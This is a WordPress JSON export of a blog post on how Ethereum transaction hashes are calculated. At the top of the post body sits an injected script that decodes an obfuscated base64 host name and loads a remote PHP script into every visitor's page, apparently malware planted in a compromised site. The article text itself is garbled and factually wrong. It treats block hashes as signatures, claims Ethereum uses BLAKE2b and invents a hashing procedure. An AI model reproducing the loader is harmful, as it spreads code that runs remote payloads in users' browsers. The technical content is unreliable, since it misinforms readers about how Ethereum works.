{"id":10230,"date":"2025-02-13T08:47:27","date_gmt":"2025-02-13T08:47:27","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=10230"},"modified":"2025-02-13T08:47:27","modified_gmt":"2025-02-13T08:47:27","slug":"ethereum-how-are-transaction-hashes-calculated","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=10230","title":{"rendered":"Ethereum: How are transaction hashes calculated?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=6e9bee12\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Ethereum Transaction Hash Calculation<\/p>\n<\/p>\n<p>=====================================<\/p>\n<\/p>\n<p>Calculating the hash of Ethereum transactions can be a bit tricky, especially for those new to Ethereum. In this article, we&#8217;ll explore how Ethereum calculates transaction hashes and provide examples to help you understand the process.<\/p>\n<\/p>\n<p>Understanding Ethereum Transactions<\/p>\n<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<\/p>\n<p>In Ethereum, each block contains multiple transactions, known as &#8220;messages&#8221;. Each message is a sequence of inputs (called &#8220;data&#8221;) followed by a signature (known as a &#8220;block hash&#8221;). The block hash is calculated using a complex algorithm that takes into account the data and previous hashes.<\/p>\n<\/p>\n<p>Transaction Hash Calculation Algorithm<\/p>\n<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<\/p>\n<p>Ethereum&#8217;s transaction hash calculation algorithm is based on the following steps:<\/p>\n<\/p>\n<ul>\n<li><strong>Hash functions<\/strong>: Ethereum uses two types of hash functions:<\/li>\n<\/ul>\n<\/p>\n<p>\t* <code>Keccak-256<\/code>: A 256-bit hash function designed to be computationally fast.<\/p>\n<\/p>\n<p>\t* <code>BLAKE2b<\/code>: A 256-bit hash function designed to be memory-safe and fast.<\/p>\n<\/p>\n<ul>\n<li><strong>Message normalization<\/strong>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/sTOcqS4msoU\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: How are transaction hashes calculated?\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/3b90f59e.png\"><\/p>\n<p>: Each transaction is normalized into a byte array, which represents the input data.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Block hash calculation<\/strong>: The block hash is calculated by concatenating the previous block hash, the message header (a 4-byte signature of the block), and the normalized input data.<\/li>\n<\/ul>\n<\/p>\n<p>Example: Calculating the Hash of a Single Transaction<\/p>\n<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<\/p>\n<p>Let&#8217;s say we have a transaction with the following inputs:<\/p>\n<\/p>\n<p><code>transaction_id<\/code>: <code>0x1234567890abcdef<\/code><\/p>\n<\/p>\n<p><code>from<\/code>: <code>0x9876543210fedcba<\/code><\/p>\n<\/p>\n<p><code>to<\/code>: <code>0x876543210fedcba<\/code><\/p>\n<\/p>\n<p><code>value<\/code>: <code>0x1234567890abcdef<\/code><\/p>\n<\/p>\n<p>The input data would be:<\/p>\n<\/p>\n<p><code>[0x1234567890abcdef, 0x9876543210fedcba, 0x876543210fedcba]<\/code><\/p>\n<\/p>\n<p>Next, we concatenate the block hash (using <code>Keccak-256<\/code>) with the message header (a signature) and normalized input data:<\/p>\n<\/p>\n<p><code>block_hash = Keccak-256(0x1234567890abcdef + 0x9876543210fedcba + 0x876543210fedcba)<\/code><\/p>\n<\/p>\n<p><code>message_header = 0x67454bbf<\/code><\/p>\n<\/p>\n<p><code>normalized_input_data = [0x1234567890abcdef, 0x9876543210fedcba, 0x876543210fedcba]<\/code><\/p>\n<\/p>\n<p>Then, we concatenate the concatenated block hash with the normalized input data to form the transaction hash:<\/p>\n<\/p>\n<p><code>transaction_hash = Keccak-256(block_hash + message_header + normalized_input_data)<\/code><\/p>\n<\/p>\n<p>Using a Tool or Library<\/p>\n<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<\/p>\n<p>To calculate the transaction hash, you&#8217;ll need a tool or library that supports Ethereum&#8217;s hash functions. Some popular options include:<\/p>\n<\/p>\n<ul>\n<li><code>ethhash<\/code>: A Python library that calculates Ethereum hashes.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><code>blockchain<\/code> (a Node.js library): Provides a convenient API for working with Ethereum data structures.<\/li>\n<\/ul>\n<\/p>\n<p>In summary, Ethereum calculates transaction hashes by concatenating the previous block hash, message header (a signature), and normalized input data. The resulting hash is then calculated using two hash functions: Keccak-256 and BLAKE2b. By following these steps and using a tool or library to assist, you should be able to calculate the hash of any Ethereum transaction.<\/p>\n<\/p>\n<p>Note that this is just an introduction to the process. For more advanced topics, such as smart contracts and blockchain programming, please consult official resources and documentation from Ethereum developers.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ethereum Transaction Hash Calculation ===================================== Calculating the hash of Ethereum transactions can be a bit tricky, especially for those new to Ethereum. In this article, we&#8217;ll<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-10230","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10230","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10230"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10230\/revisions"}],"predecessor-version":[{"id":10231,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10230\/revisions\/10231"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10230"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10230"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}